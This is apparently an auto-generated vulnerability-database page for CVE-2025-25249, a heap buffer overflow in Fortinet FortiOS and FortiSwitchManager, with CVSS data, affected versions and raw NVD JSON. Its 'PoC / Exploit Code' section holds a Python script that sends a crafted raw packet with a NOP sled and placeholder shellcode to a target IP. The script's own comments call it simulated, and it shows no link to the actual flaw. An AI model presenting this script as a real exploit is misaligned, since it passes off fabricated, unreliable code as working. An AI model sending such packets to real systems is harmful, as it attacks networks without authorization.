Security Vulnerability Report
中文
CVE-2025-25249 CVSS 8.1 HIGH

CVE-2025-25249

Published: 2026-01-13 17:15:57
Last Modified: 2026-02-23 09:16:30

Description

A heap-based buffer overflow vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiOS 6.4 all versions, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows attacker to execute unauthorized code or commands via specially crafted packets

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisase:25.1.39:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisase:25.1.51:*:*:*:-:*:*:* - VULNERABLE
FortiOS 7.6.0 - 7.6.3
FortiOS 7.4.0 - 7.4.8
FortiOS 7.2.0 - 7.2.11
FortiOS 7.0.0 - 7.0.17
FortiOS 6.4 所有版本
FortiSwitchManager 7.2.0 - 7.2.6
FortiSwitchManager 7.0.0 - 7.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-25249 PoC - FortiOS Heap Buffer Overflow Note: This is a simulated PoC for educational purposes only. Do not use against systems without proper authorization. """ import socket import struct import sys def create_malicious_packet(): """ Generate a malicious packet that may trigger heap buffer overflow in FortiOS network packet processing """ # IP Header ip_header = b'\x45\x00' # Version 4, IHL 5 ip_header += struct.pack('>H', 0xFFFF) # Total Length (large value for overflow) ip_header += b'\x00\x00' # Identification ip_header += b'\x40\x00' # Flags and Fragment Offset ip_header += b'\x40' # TTL ip_header += b'\x06' # Protocol (TCP) ip_header += b'\x00\x00' # Checksum (placeholder) ip_header += socket.inet_aton('192.168.1.100') # Source IP ip_header += socket.inet_aton('192.168.1.1') # Dest IP # TCP Header tcp_header = struct.pack('>H', 12345) # Source Port tcp_header += struct.pack('>H', 443) # Dest Port tcp_header += b'\x00\x00\x00\x01' # Sequence Number tcp_header += b'\x00\x00\x00\x02' # Ack Number tcp_header += b'\x50' # Data Offset tcp_header += b'\x02' # Flags (SYN) tcp_header += struct.pack('>H', 65535) # Window Size tcp_header += b'\x00\x00' # Checksum tcp_header += b'\x00\x00' # Urgent Pointer # Malicious payload designed to overflow heap buffer # This payload structure simulates the overflow condition payload_size = 2048 # Large payload to trigger overflow overflow_payload = b'\x41' * payload_size # Fill with A's # Add shellcode pattern for detection nop_sled = b'\x90' * 100 shellcode = b'\xCC' * 50 # INT3 as placeholder packet = ip_header + tcp_header + nop_sled + shellcode + overflow_payload return packet def send_exploit(target_ip, target_port=443): """Send exploit packet to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) packet = create_malicious_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[*] Malicious packet sent to {target_ip}:{target_port}") print(f"[*] Packet size: {len(packet)} bytes") return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-25249.py <target_ip>") sys.exit(1) target = sys.argv[1] print("[*] CVE-2025-25249 PoC - Educational Use Only") send_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25249", "sourceIdentifier": "[email protected]", "published": "2026-01-13T17:15:56.910", "lastModified": "2026-02-23T09:16:29.887", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiOS 6.4 all versions, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows attacker to execute unauthorized code or commands via specially crafted packets"}, {"lang": "es", "value": "Una vulnerabilidad de desbordamiento de búfer basado en montículo en Fortinet FortiOS 7.6.0 a 7.6.3, FortiOS 7.4.0 a 7.4.8, FortiOS 7.2.0 a 7.2.11, FortiOS 7.0.0 a 7.0.17, FortiOS 6.4.0 a 6.4.16, FortiSwitchManager 7.2.0 a 7.2.6, FortiSwitchManager 7.0.0 a 7.0.5 permite al atacante ejecutar código o comandos no autorizados a través de paquetes especialmente diseñados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.0", "versionEndExcluding": "6.4.17", "matchCriteriaId": "129406C1-A2FA-4289-8009-8AEEFEF14AAC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.18", "matchCriteriaId": "BCEB8B8A-797C-4E5E-BCDB-A54EB83AD8A2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.12", "matchCriteriaId": "E8FAAA2E-7A53-4F6B-A9C7-1E2B4CB5F7EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.9", "matchCriteriaId": "2093EFE3-4B7F-4806-9850-C42B26BC64AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "C1C30E0D-7F09-42D2-9EB1-E2196BD50D75"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.6", "matchCriteriaId": "F1B9AA70-BB46-403B-94C1-D94C64E22334"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.7", "matchCriteriaId": "EE22A407-02CB-4979-A38D-9EBAFEB350F6"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisase:25.1.39:*:*:*:-:*:*:*", "matchCriteriaId": "77B84900-E96D-4E2C-8797-B1460E71874E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisase:25.1.51:*:*:*:-:*:*:*", "matchCriteriaId": "12A8EE3F-EEAF-460D-B2DB-551509DF0814"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-084", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}